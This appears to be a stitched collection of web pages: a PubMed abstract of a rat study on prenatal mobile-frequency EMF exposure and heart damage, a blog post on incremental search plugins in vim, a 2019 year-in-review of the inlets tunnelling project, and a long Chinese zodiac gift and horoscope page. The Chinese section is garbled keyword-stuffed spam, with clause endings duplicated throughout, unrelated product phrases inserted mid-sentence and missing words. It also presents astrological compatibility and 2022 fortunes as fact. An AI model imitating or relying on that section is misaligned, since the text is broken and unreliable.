# The effects of long-term prenatal exposure to 900, 1800, and 2100 MHz electromagnetic field radiation on myocardial tissue of rats - PMID: **36383165** - DOI: 10.1177/07482337221139586 # The effects of long-term prenatal exposure to 900, 1800, and 2100 MHz electromagnetic field radiation on myocardial tissue of rats ## Abstract It is well-known that wireless communication technologies facilitate human life. However, the harmful effects of electromagnetic field (EMF) radiation on the human body should not be ignored. In the present study, we evaluated the effects of long-term, prenatal exposure to EMF radiation on the myocardium of rats at varying durations. Overall, 18 pregnant Sprague-Dawley rats were assigned into six groups (*n* = 3 in each group). In all groups other than the control group, three pregnant rats were exposed to EMF radiation (900, 1800 and 2100 MHz) for 6, 12 and 24 h over 20 days. After delivery, the newborn male pups were identified and six newborn male pups from each group were randomly selected**.** Then, histopathological and biochemical analysis of myocardial samples were performed. When 24-h/day prenatal exposures to 900, 1800, 2100 MHz EMF radiation were evaluated, myocardial damage was greater in the 2100 MHz EMF-24h group than the other groups. In addition, when malondialdehyde (MDA) and glutathione (GSH) levels associated with reactive oxidative species (ROS) were evaluated, the MDA level was higher in the 2100 MHz EMF-24h group compared with the other groups. The GSH level was also lower in the 2100 MHz EMF-24h group. When the 6, 12 and 24 h/day prenatal exposures to 1800 MHz EMF radiation were evaluated, myocardial damage was greater in 1800 MHz EMF-24h group than the remaining groups (*p* < 0.0001). Also, MDA level was greater in the 1800 MHz EMF-24h group compared with the other groups while the GSH level was lower in this group. It was shown that myocardial tissue was affected more by long-term exposure to EMF radiation at high frequencies. The data raise concerns that the harmful effects of non-ionizing radiation exposure on cardiac tissue will increase with 5G technology. ** Keywords: ** electromagnetic field radiation; electromagnetic wave; exposure; myocardial; prenatal. ## Similar articles - Disruption of the ovarian follicle reservoir of prepubertal rats following prenatal exposure to a continuous 900-MHz electromagnetic field.Int J Radiat Biol. 2016 Jun;92(6):329-37. doi: 10.3109/09553002.2016.1152415. Epub 2016 Mar 23. Int J Radiat Biol. 2016. PMID: 27007703 - Can prenatal exposure to a 900 MHz electromagnetic field affect the morphology of the spleen and thymus, and alter biomarkers of oxidative damage in 21-day-old male rats?Biotech Histochem. 2015;90(7):535-43. doi: 10.3109/10520295.2015.1042051. Epub 2015 May 19. Biotech Histochem. 2015. PMID: 25985826 - Morphological changes in the vertebrae and central canal of rat pups born after exposure to the electromagnetic field of pregnant rats.Acta Histochem. 2020 Dec;122(8):151652. doi: 10.1016/j.acthis.2020.151652. Epub 2020 Nov 12. Acta Histochem. 2020. PMID: 33190055 - EUROPAEM EMF Guideline 2016 for the prevention, diagnosis and treatment of EMF-related health problems and illnesses.Rev Environ Health. 2016 Sep 1;31(3):363-97. doi: 10.1515/reveh-2016-0011. Rev Environ Health. 2016. PMID: 27454111 Review. - Effects of non-ionizing electromagnetic fields on flora and fauna, Part 3. Exposure standards, public policy, laws, and future directions.Rev Environ Health. 2021 Sep 27;37(4):531-558. doi: 10.1515/reveh-2021-0083. Print 2022 Dec 16. Rev Environ Health. 2021. PMID: 34563106 Review. ## Cited by - Metabolic, Apoptotic and Fibro-Inflammatory Profiles of the Heart Exposed to Environmental Electromagnetic Fields.Int J Mol Sci. 2023 Jul 20;24(14):11709. doi: 10.3390/ijms241411709. Int J Mol Sci. 2023. PMID: 37511465 Free PMC article. ## MeSH terms ## Substances ## LinkOut - more resources ### Full Text Sources

It is well-known that wireless communication technologies facilitate human life. However, the harmful effects of electromagnetic field (EMF) radiation on the human body should not be ignored. In the present study, we evaluated the effects of long-term, prenatal exposure to EMF radiation on the myoca …

2024-10-12 00:00:00

2015-01-01 00:00:00

website

ncbi.nlm.nih.gov

PubMed

https://pmihaylov.com/incremental-search-vim/

Incremental search in vim - Preslav Mihaylov

Preslav Mihaylov

There is a slight, but obnoxious difference in how the default search works in vim against the way it works in other IDEs. In vim, whenever you click the ** / (forward slash)** you start writing a word you want to find in the current file. The problem is that you have to write the whole word and click enter before you start seeing the results. This can work fine and you can cope with it most of the times, but it can start getting in the way pretty quickly once you start searching for longer words or phrases, whose exact identifier you can get wrong pretty easily. At that point, you have to start all over again with the search and be very careful about writing the keywords precisely. The way search works in IDEs is that it starts showing results while you’re typing the keyword. This way, you can: - Get to the word you need before you even write the whole keyword - Detect a mistake in your term before you’re finished This feature is called incremental search and can be very handy. Today, I want to show you how to get it in your vim editor. * This article is part of the sequence Boost Your VIM where I share my favorite vim plugins and tools which can greatly optimize your productivity and make you a better keystroke ninja.* ## The incsearch.vim plugin This plugin will help you get incremental searching out of the box with little to no additional configuration after install. After you install it and add my configuration, here’s how it will look like: Looks good? Then let’s get started. To install the plugin, simply execute this command if you use my package manager (Pathogen): With a bare-bones installation, you need not put anything extra in your `.vimrc` file. It works out of the box. Here’s how it initially looks: ## Customisations If you want to be able to quickly jump between results without leaving the search prompt, add these mappings in your `.vimrc` : Now, whenever you want to jump between results, use `Tab` to go forward and `Shift-Tab` to go back: That final mapping is so that you don’t stop the search process when you use the arrow keys. The final option I like to add is disabling the highlight of search results when the search is over and I’ve clicked enter. This is personal preference. I have a key binding for disabling search results highlighting manually by clicking escape twice. I used to use that for this purpose in the past: I’m still keeping this key binding around in case I get something highlighted accidentally. But at least for search results, I’ve discovered that I prefer to not keep them highlighted after the search is over. ## Vim’s default incremental search As Keith Thompson mentioned in the discussion below this post, vim has incremental search by default, without the need for an extra plugin. Some time ago, the original author of the plugin, mentioned in this article, created a patch to add the incremental search feature to vim. However, not all of the plugin features were included in the main vim codebase. This enables you to have incremental search without additional plugins, but still lack e.g. keeping highlighting after you select a match by clicking enter. This is why I still prefer using the original plugin. However, if you prefer adding this feature to vim without an extra plugin (and the caveat I mentioned doesn’t bother you), here’s how to do it: Just make sure to delete the plugin (simply delete it from the `~/.vim/bundle` directory) I mentioned and its related configuration if you prefer to go this route. ## Conclusion Searching in vim is one of those features which works Okay, but not perfect. This is a recipe for sticking to the devil we know, when paradise is one step away. In this article, I’ve showed you the way to incremental search paradise. Try it now, and you’ll feel reborn. You’ll wonder how couldn’t have you known this already.

The way default search in vim works is subpar compared to other IDEs, which use incremental search. In this article, I'll show you how to do that in vim.

2024-10-12 00:00:00

2020-02-24 00:00:00

article

pmihaylov.com

Preslav Mihaylov

https://blog.alexellis.io/2019-my-year-in-review-inlets/

2019 My year in review: inlets inlets proxy and tunnel

Alex Ellis

I started a new OSS project over the holidays last year, it was a side-project and not meant to be anything big. My team at the time needed a way to receive webhooks from GitHub to test CI/CD for OpenFaaS Cloud. The obvious options didn't work - we couldn't use Ngrok because it was banned by corporate policy and we couldn't use other tooling due to port blocking. I explored some of the other tooling out there, but the team had no budget. I wanted to create a simple solution using Golang and websockets so that we could receive webhooks through HTTP. The reason this works through private networks is that the client speaks first, and then establishes the persistent connection. The classic use-case for a tunnel is to receive webhooks from GitHub and other API providers. The project was called inlets and the 1.0 release received lots of comments on Hacker News, this was enough to convince me to spend more time on the project. ## inlets inlets is a reverse-proxy and L7 HTTP tunnel that allows users behind NAT, firewalls, and those within private networks to expose their local services to the Internet. The project has over 5k GitHub stars and 30 contributors. Follow the official Twitter account for news and updates - @inletsdev Inlets is formed of a server and client component. We run the client on our computer and then the server on a VM or host which has a public IP. The cheapest option would be something like a DigitalOcean droplet at 5 USD / mo. You can even share local websites made with create-react-app and cloud native tools like Prometheus, Grafana, and OpenFaaS. Darren Shepherd made some contributions and replaced some of my bespoke websocket code with a library used in Rancher, that became the 2.0 release which received even more comments and upvotes. After the initial success of inlets I developed inlets-pro which adds L4 / TCP proxying and automatic TLS. You can now expose any kind of service to the Internet such as Caddy or CassandraDB. The first thing I tried with inlets-pro was to run Kubernetes on my Intel NUC along with cert-manager to get a TLS certificate directly on the computer plugged in to my home network. Inlets also gained a logo, a GitHub org, a place on the CNCF landscape, stickers, and a t-shirt design. Checkout the two projects on GitHub: As the year end on, I saw other opportunities to expand and make inlets even easier to use. ## inlets on the road I spoke at Cloud Native Rejekts in San Diego on inlets as a solution to the IPv6 address-space problem. You can get the slides below: My live demo showed cert-manager, k3s, and OpenFaaS being served over a mobile hotspot, using a battery pack and a Raspberry Pi 4. Recorded demos are for wimps. — Alex Ellis (@alexellisuk) November 17, 2019 journalctl -u k3s showed the IPv6 address I got from tethering confused k3s.. here we go with IPv6 disabled @inletsdev with TLS served from the RPi pic.twitter.com/BgTwNoIX51 Ellen Korbes included inlets in a talk titled "Kubernetes developer tooling" and spoke at several large events. Presenting inlets @alexellisuk pic.twitter.com/WMn3uaeYv8 — Simon P (@SimonHiker) October 30, 2019 Thanks to Iheb for designing the logo. I sent him a pack of free SWAG to say thank you. Received some @openfaas #swag and the new @inletsdev t-shirt 🙂 #teamserverless — Iheb ☁️ (@iboonox) November 4, 2019 Thank you @alexellisuk pic.twitter.com/KH2tuYNTg2 Inlets gained a place on the CNCF Landscape amongst other service proxies like MetalLB, Nginx, and Traefik Really excited to see @inletsdev growing up and leaving home with its own @github org and a place on the @CloudNativeFdn Landscape. — Alex Ellis (@alexellisuk) October 16, 2019 A big thank you to @iboonox for providing a logo. Website will be coming soon. Check it out, give it a ⭐️https://t.co/5pPjk2MlpH pic.twitter.com/NuDqCgkN5g Here's my original conceptual diagram, found in an old notepad, the current design is still very close to this. My original design sketch for @inletsdev OSS, back from late last year. — Alex Ellis (@alexellisuk) December 23, 2019 Going back through old notes, some OSS features, ideas and experiments took a while to get off the ground. pic.twitter.com/3r6ktZZgpT ## Automation for inlets / inlets-pro Inlets and inlets-pro also has automation either through the `inletsctl` CLI which provisions a cloud host and gives you a connection string, or through the Kubernetes Operator called the inlets-operator. The inlets-operator detects services of type LoadBalancer in your private Kubernetes cluster, provisions a cloud server and then runs a Pod with the inlets client. That means anything you run in your Kubernetes cluster can be exposed on the public Internet. ## Wrapping up You can run inlets using a single binary, it has two parts - `inlets server` and `inlets client` . Both parts can run on any network, you can even bridge between two private VPCs, but most users find inlets useful for connecting private networks to the Internet. There's been strong inital interest in inlets-pro, which also works with inletsctl and inlets-operator. You can get a free trial or request a demo on the homepage The easiest way to start is to try out inletsctl, which will provision a host on DigitalOcean, GCP, Packet, Civo, or Scaleway. You'll get a command at the end which you can customise and use to connect your local services to the Internet. All inlets tooling works on regular compute, Raspberry Pi and ARM64 out of the box. What are the other use-cases? - getting incoming network connections - CDN & edge access to APIs and websites - sharing work freelance websites and work with clients - integrating APIs with partners - command and control of edge devices - connecting VPCs or private networks - port-forwarding Kubernetes services `inletsctl kfwd` and "kurun" Add your use-case to ADOPTERS.md ### Connect with the community - Become one of my GitHub sponsors - Follow @inletsdev on Twitter and help us reach 1k followers - Discuss the project in #inlets on OpenFaaS Slack

inlets was a big part of my 2019 and I wanted to write up a bit of the story and how you can use it to expose and tunnel your own services.

2024-10-12 00:00:00

2019-12-30 00:00:00

article

alexellis.io

Alex Ellis' Blog

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十二星座流沙钢笔,十二星座幸运佩戴饰品,十二星座的情侣戒指

时间：2024-10-13 06:15:59 提起十二星座专属书桌属书桌，大家都知道都知道，有人问十二星座的人都喜欢什么生日礼物日礼物？另外，还有人想问十二星座是哪些是哪些，你知道这是怎么回事么回事？其实12星座的书房应该怎么布置么布置，下面就一起来看看十二星座的人都喜欢什么生日礼物日礼物？希望能够帮助到大家到大家！ 内容来自用户:山中 白羊座〔3月21日—4月20日〕热情又积极的白羊座情人座情人，对自己的期望很高望很高，对平凡的事务较无法忍受法忍受，喜欢新奇又具有价值感的礼物的礼物，来满足他的好奇心好奇心。礼物清单：一条很别致的腰带、一只很特殊的钢笔、一条印花很雅致的领巾、送她的礼物、一只造型特殊的珍珠别针、一瓶刚上市的香水、一个造型及价值感十足的手提皮包、一条图案别致的丝巾、一件质感及设计具品味的外套或毛衣或毛衣。金牛座〔4月21日—5月21日〕脚踏实地的金牛座情人座情人，无法忍受浪费挥霍的事情发生情发生，注重实际性实际性，喜欢收到的礼物是可以马上就用得上的东西的东西，一点也不会浪费掉浪费掉，愈实用愈开心愈开心。礼物清单：一瓶综合维、一条图案大方的领带、一个小牛皮的皮包、送她的礼物、一套保养品（她平时用的品牌）、一双休闲鞋或布鞋、一件大方的毛衣、一顶舒服可爱的帽子的帽子。双子座〔5月22日—6月21日〕活泼开朗的双子座情人座情人，求知欲旺盛欲旺盛，点子又多子又多，若只是送他一样礼物样礼物，他一点也不会觉得鲜觉得鲜，反而觉得十分乏味分乏味，因此，用点心思点心思，送他『一组』诞礼物诞礼物，多样性又实用性混合性混合，他可就会开心的笑不拢嘴不拢嘴，个几天也不厌倦不厌倦，另外可别忘了送他一张精致又附上你亲密祝福的耶诞卡耶诞卡，你的情人可是精神与物质都爱的『贪心』喔！ 金牛座配对：容易被情绪所左右的金牛座与不爱大惊小怪、不厚颜无耻、不过分的人最为匹配为匹配。从长远眼光来看光来看，对金牛座男性而言性而言，有主见、不轻易气馁的女性最为适合为适合。金牛座女性看似不拘小节拘小节，但实际上非常计较琐碎的细节的细节，因此与稳重、感性的男性结合性结合，将会很快地成熟起来熟起来。配对星座：摩羯座、处女座、巨蟹座一般配对星座：双鱼座、金牛座、白羊座最差配对星座：射手座、天秤座、狮子座最不配的星座：双子座双子座，天蝎座天蝎座，水瓶座水瓶座。 所以毁掉是不可能的可能的，除非两人老壳有毛病有毛病，两人关系掌控不好控不好，当然就是要被毁掉的毁掉的，金牛和羯两人都是土象星座当然可以很好地了解对方解对方，两人，但是在感情方面能主动的两方都要主动要主动，你们俩是拍档是拍档，会在一个举动中举动中，时间想出其中一个人要干什么干什么，金牛朴实牛朴实，和善，低调，沉稳，摩羯稳重羯稳重，很喜欢金牛这种朴实而又和善的性格的性格，他们没有大脾气大脾气，不骄纵不骄纵，金牛和摩羯向来沉稳的他们一旦爱上旦爱上，就会不离不弃离不弃，长长久久的久久的，但是关系掌控不好控不好，那就是另外一回事了回事了。 金牛男是孤独的孤独的，从来不喜欢和别人抢东西抢东西，希望在身边的人都是心甘情愿的留下来留下来。人来人往中人往中，要让金牛男对一个人上心不容易不容易，初接触金牛男都被他那种不冷不热的态度吓走了吓走了。但真正走进金牛心里的人里的人，就会发现会发现，金牛男对人好起来是没有底线的底线的。下面一起来看看金牛男的配对星座吧星座吧！ 金牛男的配对星座12星座梦幻流沙手机壳手机壳。 1、白羊女合适配对度50%。刚开始和心思细腻略显神经的他交往时或许还觉得挺有趣、好玩，但随着时间而渐渐发觉到对方优柔寡断柔寡断，忌妒心强的缺点时缺点时，似乎就无法忍受法忍受，常让你为他捏一把汗一把汗。十二星座专属霸气衣服气衣服。 2、金牛女合适配对度90%。你和他在一起虽没有的感觉的感觉，但总是有一份很踏实的感觉的感觉，不须多余的话语就能心灵能心灵，轻松而自然的从相遇到相知到相许到相许。 3、双子女合适配对度50%。对流行敏锐、行动力强且交游广阔的你和木讷老实的他在一起的话起的话，凡事都是由你主导你主导，对方都是没什么意见么意见，起先还觉得可以起互补作用补作用，但越是交往就越感不满感不满，总觉得缺少什么似的么似的。 4、巨蟹女合适配对度70%。你们都有一个共同的特点——追求平实、平安的生活的生活，所以慎重随和的他和注重家庭生活的你最合适也不过了不过了，结婚后朝着建力幸福的家庭而努力而努力！ 以上就是与十二星座的人都喜欢什么生日礼物日礼物？相关内容关内容，是关于十二星座的人都喜欢什么生日礼物日礼物？的分享的分享。看完十二星座专属书桌后书桌后，希望这对大家有所帮助所帮助！ 提起12星座专属钢笔属钢笔，大家都知道都知道，有人问十二星座喜欢什么礼物么礼物，另外，还有人想问12星座喜欢的礼物的礼物？你知道这是怎么回事么回事？其实十二星座分别代表什么枪什么枪？下面就一起来看看十二星座喜欢什么礼物么礼物，希望能够帮助到大家到大家！ 白羊座：芭比玩偶or动漫周边十二星座专属儿童钢笔童钢笔。 大多白羊座虽然看起来成熟稳重熟稳重，可是心里面却一直住着一个幼稚天真的小孩子小孩子，他们的难能可贵之处就是在这个俗世间仍旧保留了一份与生俱来的朴素天性素天性，他们向往美向往美，且相信一切美好的事物的事物。所以，白羊座是比任何星座都适合收到玩具的玩具的，女孩子们一般喜欢芭比玩偶比玩偶，男生们则会热衷于动漫周边漫周边，具体送什么送什么，就需要你们平日里细心观察了观察了！12星座手绘图手绘图。 金牛座：Money 对于金牛来说牛来说，送什么都不及直接送money实惠，如果你为了浪漫和情调花大手笔献上朵玫瑰朵玫瑰，一定得不到金牛座的好感的好感，相反，他们会觉得你是个不折不扣的傻X。所以，上上策是上策是，在玩浪漫的同时的同时，给他们money的惊喜的惊喜，比如说在99朵玫瑰中放上一张价值不菲的不菲的，那么在金牛座看来座看来，你们已经是半个自己人了己人了！ 巨蟹座：有收意义的小玩意儿 对于念旧的巨蟹座来说座来说，他们对任何一段感情都十分重视分重视，因此对往事念念不忘也是他们的天性使然性使然。在他们的人生中人生中，一般都会存在一系列可以代表一段情谊的小玩意儿玩意儿，这些东西都是他们过往的见证的见证，是一个举足轻重的信物的信物。因此，想要博得巨蟹座的好感的好感，不妨送他们一幅字画、一本相册本相册，或者，一枚首饰枚首饰。十二星座专属古风笛子风笛子。 什么礼物最讨12星座欢心座欢心？十二星座专属霸气衣服气衣服。 ——射手座 -07-:(作)12星座梦幻流沙手机壳手机壳。 分享(0次) 收本文 加QQ群十二星座流沙钢笔沙钢笔。 微信 关注微博 评论(0) 射手座：至今是个谜十二星座双层滑梯公主床公主床。 作为12星座中最任性走心的星座的星座，射手座秉承着“收礼物喜悦程度因人而异”的传统多年统多年，在他们看来们看来，只要是所爱之人送的人送的，无论是什么他们都喜欢都喜欢，即使是一封普通的情书的情书，甚至是一张留有爱人唇印的纸巾的纸巾，他们都爱得不行得不行。如果换个人来个人来，情况就完全不一样了一样了，即使你送一座别墅座别墅，他们冰冷的脸上也依旧是不动声色的三个字：滚远点滚远点！因此，如果想要讨射手欢心手欢心，换成他们所爱的容貌或许是个不错的选择吧选择吧。 双鱼座：一个or一个拥抱高智商天才星座才星座。 双鱼座对于伴侣和朋友的要求并不高并不高，他们通常只是想要从对方那里一种心理上的安全感安全感，是一种不用患得患失的归属感归属感，是一种彼此体谅的顺其自然其自然。因此，对于双鱼座来说座来说，他们不会对于礼物有过高的要求的要求，情到浓时到浓时，一个一个拥抱都是无价之宝价之宝，能够让他们无比开心无比享受比享受。十二星座最喜欢的零食的零食。 十二星座喜欢的礼物 白羊座〔3月21日—4月20日〕十二星座接吻时在想啥在想啥。 热情又积极的白羊座情人座情人，对自己的期望很高望很高，对平凡的事务较无法忍受法忍受，喜欢新奇又具有价值感的礼物的礼物，来满足他的好奇心好奇心。 礼物清单：世界十大钢笔排名笔排名。 一条很别致的腰带、一只很特殊的钢笔、一条印花很雅致的领巾、送她的礼物、一只造型特殊的珍珠别针、一瓶刚上市的香水、一个造型及价值感十足的手提皮包、一条图案别致的丝巾、一件质感及设计具品味的外套或毛衣或毛衣。 金牛座〔4月21日—5月21日〕 脚踏实地的金牛座情人座情人，无法忍受浪费挥霍的事情发生情发生，注重实际性实际性，喜欢收到的礼物是可以马上就用得上的东西的东西，一点也不会浪费掉浪费掉，愈实用愈开心愈开心。 礼物清单：晨光十二星座钢笔座钢笔。 一瓶综合维、一条图案大方的领带、一个小牛皮的皮包、送她的礼物、一套保养品（她平时用的品牌）、一双休闲鞋或布鞋、一件大方的毛衣、一顶舒服可爱的帽子的帽子。 双子座〔5月22日—6月21日〕 活泼开朗的双子座情人座情人，求知欲旺盛欲旺盛，点子又多子又多，若只是送他一样礼物样礼物，他一点也不会觉得鲜觉得鲜，反而觉得十分乏味分乏味，因此，用点心思点心思，送他『一组』诞礼物诞礼物，多样性又实用性混合性混合，他可就会开心的笑不拢嘴不拢嘴，个几天也不厌倦不厌倦，另外可别忘了送他一张精致又附上你亲密祝福的耶诞卡耶诞卡，你的情人可是精神与物质都爱的『贪心』喔！ 礼物清单： 一组文具、一盒游戏组、皮夹、笔、腰带等礼盒组、皮鞋、皮带、休闲背包、送她的礼物、一组小香水礼盒、一盒多种口味造型的巧克力、一个化妆品礼盒品礼盒。 巨蟹座〔6月22日—7月23日〕 温柔体贴又善解人意的巨蟹座情人座情人，是个爱家又恋家的甜蜜情人蜜情人，他罗曼蒂克的浪漫的浪漫，让你爱的窝心的窝心，而喜欢家居生活和优闲生活方式的他式的他，送给他一份家饰用品饰用品，那股贴心的礼物的礼物，将会令他时时刻刻的思念着你呢着你呢！十二星座专属炸鸡属炸鸡。 礼物清单：十二星座专属梦幻房间幻房间。 两个心形的甜蜜靠垫、一盏造型柔和的台灯、一套棉质的休闲服装、一瓶口味佳的香槟酒、一条柔软舒适的地毯、一件全白色棉质的浴袍、两个可爱的毛绒玩具组、一套色典雅的指甲油指甲油。12星座专属超短裙超短裙。 狮子座〔7月24日—8月23日〕 骄傲又爽朗的狮子座情人座情人，总是众人注目的焦点人物点人物，又爱出锋头的他头的他，常让人觉得有点遥不可及不可及，其实他很脆弱很脆弱，需要情人的疼爱、支持和依靠和依靠，这爱好热闹的他闹的他，最喜欢华丽开心的诞礼物诞礼物，来满足他的虚荣心虚荣心。十二星座专属海洋坐骑洋坐骑。 礼物清单： 四、五个色缤纷的可爱气球、一件衬衫、一个热情的Kiss、一个亮丽包装的时髦皮夹克或皮背心、金光闪闪的打火机或手炼、、一大串缤纷可爱的气球、九十九朵玫瑰花、顽皮毛绒玩具、一组可变换各种颜色表带的手表、一个包装精致的皮包背包、流行的长靴、背心裙、毛衣以亮丽色为主色为主。打架能把你打残的星座的星座。 处女座〔8月24日—9月23日〕 完美的处女座情人座情人，重视精神生活神生活，对感情则倾向于柏拉图式的恋情的恋情，对自己喜欢的人充满着慈爱、包容和专情和专情，不会对物质生活有超出能力的向往的向往，期待一个能与自己心?nbsp;沟通和活泼可爱的情人交往人交往，对诞礼物则喜欢一张罗漫蒂克又用心用情的卡片和一束花朵束花朵，一些精神上的满足的满足，最重要最重要。 礼物清单： 一张粉粉柔柔的诞卡片诞卡片，上面写满了你对他的思念和爱恋、一束亲手做的缎带花缎带花，或自己做的小玩偶小玩偶，贴心又温柔、一双温暖的手套的手套，暖烘烘的传达你的爱意、送她的礼物、一张精致的诞卡片诞卡片，上面有着你对她的无限思念加一顶温暖的毛线帽、一个精巧别致的音乐手饰珠宝盒珠宝盒，那音乐响起时响起时，她就会特别思念你、一束郁金香或紫色的玫瑰花玫瑰花，表达交心的爱意加一串金质的项链的项链。 天秤座〔9月24日—10月23日〕 聪明又理智的天秤座情人座情人，他的条理分明理分明，实事求是的精神的精神，令你又爱又受不了受不了，凡事以自己的卓越智慧和直觉对认何人和事物下判断下判断，太过理智的他智的他，对他的情人可是苛克挑剔极了剔极了，尤其注意外形和气质和气质，若没达到他的理想的理想，那当他的情人会很累会很累，只有默默付出的份出的份，当然送他的诞理物要特别重视质感和特殊和特殊。 礼物清单：十二星座专属书桌属书桌。 一组进口的咖啡杯组啡杯组，色别，造型别致、一个造型新鲜的煮咖啡壶咖啡壶，利落的线条和质感特别重要、一件纯羊毛的外套的外套，质轻、柔软，剪裁又佳、一对细致的茶杯组茶杯组，色鲜明色鲜明，图案精美别致、一件丝质的柔美衬衫美衬衫，舒适又具有女人味、一个鹿皮的小背包小背包，手感温暖又优雅、一件秀气的柔衣的柔衣。 天蝎座〔10月24日—11月22日〕 冷热无常的天蝎座情人座情人，他的热情与温柔体贴真令人快被融化被融化，但是一翻脸一翻脸，他的自私冷酷无情酷无情，也会把人逼的气炸了气炸了，而他最强烈的爱恨情仇和忌妒心忌妒心，是最令人受不了的不了的，他是个很自我中心的情人的情人，可以为了自己而伤害他的情人而毫无惭愧与痛苦与痛苦，一般人是很难与他天长地久的地久的，除非是他一见钟情的情人的情人，那被『』的人，就是天蝎座自己了自己了，送他诞礼物时礼物时，以重质不重量为原则为原则。12星座简笔画图片画图片。 礼物清单： 一双具有男性性感魅力的皮鞋、一件正式却是的衬衫、一张巨型的骨董车海报、一只古董表、吊带、一条金质的手链的手链，图案造型精致小巧、一件丝质的柔软衬衫、一瓶造型味道十分甜美的香水的香水。十二星座防身武器身武器。 射手座〔11月23日—12月22日〕 自由奔放的射手座情人座情人，一谈起恋爱起恋爱，常常被爱和热情冲昏了头昏了头，但是却不喜欢受到拘束到拘束，责认感较差感较差，有点像爱玩的孩子般孩子般，需要一个安定、成熟情人来呵护自己护自己，因此，送他一份能『交心』的小礼物小礼物，他会很开心的开心的。 礼物清单： 一对情人对表、一对精致的对笔的对笔，刻上你俩的名字、一对具质感的袖扣的袖扣，或领带夹、送她的礼物、一个刻着她名字的心形项链或戒指、两件情人装情人装，一人一件人一件，一块在诞节穿、一束鲜花外再一盒巧克力和一双温暖的手套的手套。 羯座〔12月23日—1月22日〕 懂事又腼腆的摩羯座情人座情人，安静、守本份守本份，做事谨慎踏实又有计划有计划，但是在内心深处却着极端的心端的心，一为积极、热情的个性的个性，对自己喜欢的人或工作或工作，那股不服输的劲输的劲，令人刮目相看目相看，另一为冷淡不耐及脱轨的不屑态度屑态度，而不会勉强自己去接受一份不认同的感情的感情，因此送他礼物时礼物时，以象征意义代表浮夸华丽的示爱为原则为原则。 礼物清单：十二星座专属少女杯少女杯。 一件纯羊毛舒适的毛衣的毛衣，他常穿他常穿他，则对你重视你重视，反之就算了；一条图案正式的领带的领带，以中性系为主；一本照像本照像本，写下一些情话和你们合拍的照片；一瓶味道清柔柔的香香水；一有可表达你的爱意的日记本；一条心形的项链的项链，或手表、戒指；一副复古的太阳眼镜阳眼镜。十二星座的女公主房公主房。 水瓶座〔1月21日—2月19日〕 聪明可爱的水瓶座星座情人座情人，拥有又纯又真的赤子之心子之心，他的点子又多又有趣又有趣，和他在一起开心极了心极了，再加上他的活泼开朗可令人觉得他魅力无穷力无穷，但是拥有博爱精神的他常会放电会放电，吸引不少异性少异性，不过却不会或不会或，在自己心中对情人有着无限的憧憬和期待和期待，送他一份礼物份礼物，以的心情表达即可达即可。十二星座专属毛绒玩具绒玩具。 礼物清单： 一件印有可爱图案或运动人物或数字的帽子、T恤；一只运动型多功能的手表的手表，再一双休闲运动鞋；一个具多功能的万用手册；一条温暖的围巾；一条精致的手链或脚链；送她一个可爱的毛绒绒玩偶；送她一份造型奇特的香水组合；雅致的条纹衬衫纹衬衫。 双鱼座〔2月20日—3月20日〕 温柔优雅的双鱼星座情人座情人，他那体贴和善解人意的细腻心思腻心思，令人觉得十分窝心分窝心，他的包容力很强力很强，又会照顾人照顾人，常常会吸引异性的注意的注意，但是也常常会爱上和自己个性不同的人而受到伤害到伤害，因此，以友情开始情开始，互相了解后了解后，再谱出爱恋出爱恋，才不会受到个性不和的情感折磨感折磨。 礼物清单： 一幅印像派或油画等品味优雅的艺术品；一顶柔软高尚的羊毛帽；一双温柔的手套再加一条暖烘烘的围巾；一组精致的银制烛台、餐具；一个造型独特的相框；一件柔软的羊毛外套和小背包；活泼毛线帽、可爱的围巾的围巾。十二星座专属兔耳少女耳少女。 以上就是与十二星座喜欢什么礼物相关内容关内容，是关于十二星座喜欢什么礼物的分享的分享。看完12星座专属钢笔后钢笔后，希望这对大家有所帮助所帮助！ 星座幸运数字和颜色 星座幸运数字和颜色和颜色，在日常生活中生活中，很多人都是非常关注星座的相关信息的信息的，在十二星座中每个星座都有着他们独特的幸运数字和颜色和颜色。为大家介绍星座幸运数字和颜色和颜色。 ** 1、白羊座** 幸运数字：7、9 幸运色：红色 幸运石：红宝石 守护石：紫水晶 ** 2、金牛座** 幸运数字：6 幸运色：绿色 幸运石：祖母绿、砂金石 守护石：金发晶、海蓝宝 ** 3、双子座** 幸运数字：5 幸运色：黄色、橙色 幸运石：玛瑙石 守护石：黄水晶 ** 4、巨蟹座** 幸运数字：2、6 幸运色：白色 幸运石：月亮石 守护石：红玛瑙 ** 5、狮子座** 幸运数字：1、7 幸运色：艳黄、褐色 幸运石：橄榄石、琥珀 守护石：青金石 ** 6、处女座** 幸运数字：4、8 幸运色：灰色 幸运石：紫黄晶、粉玉 守护石：黑曜石 ** 7、天秤座** 幸运数字：3、6、9 幸运色：粉色 幸运石：粉晶 守护石：黑曜石 ** 8、天蝎座** 幸运数字：1、2、6 幸运色：紫色、黑色 幸运石：祖母绿、 绿玉、绿松石、蓝田玉 守护石：石榴石 ** 9、射手座** 幸运数字：3、8、9 幸运色：紫色、咖啡色 幸运石：紫水晶、绿松石 守护石：芙蓉晶 ** 10、摩羯座** 幸运数字：8 幸运色：咖啡色 幸运石：石榴石 守护石：虎睛石 ** 11、水瓶座** 幸运数字：3、5、7 幸运色：蓝色、黄色 幸运石：紫水晶 守护石：碧玺、青金石 ** 12、双鱼座** 幸运数字：5、7、8、10 幸运色：海蓝色 幸运石：橄榄石 守护石：茶水晶 ** 白羊座** 2022年的白羊座运势不是很好是很好，生活中会遇到诸多的烦恼的烦恼，会让他们焦头烂额的不知所措知所措。但是好在2022年上半年白羊座的贵人缘非常的不错的不错，会帮助白羊座有惊无险的化险为夷险为夷，基本上没有很大的变动的变动。 幸运色：水果色 幸运数字：5 幸运物：明星片 ** 金牛座** 2022年的金牛座总体运势并不好并不好，一整年遇到的糟心事儿比较多;也许是因为金牛座为人踏实淳朴实淳朴，在职场中经常遭遇小人的暗算;每个人都想要占金牛座的便宜;因此2022年的金牛座要谨防小人作祟人作祟。 幸运色：浅咖啡色 幸运数字：6 幸运物：水晶 ** 双子座** 2022年的双子座总体运势还算不错算不错，尤其是上半年的双子座会遇到不少好事少好事，好运也会接二连三的关顾的关顾。虽然上半年好运不断运不断，但是这不是双子座的终点的终点，凭借自身的努力的努力，双子座在事业上会更上一层楼一层楼。 幸运色：柠檬黄 幸运数字：9 幸运物：手链 ** 巨蟹座** 2022年的巨蟹座没有什么太好的运势的运势，但是平平淡淡的生活就很幸福的巨蟹;2022年切莫心急浮躁急浮躁，不要强求太多;有时候没有的反而是最好的结果的结果，强势抢夺来的夺来的，永远不是自己的;平淡就很好了很好了。 幸运色：浅紫色 幸运数字：2 幸运物：即可拍相机 ** 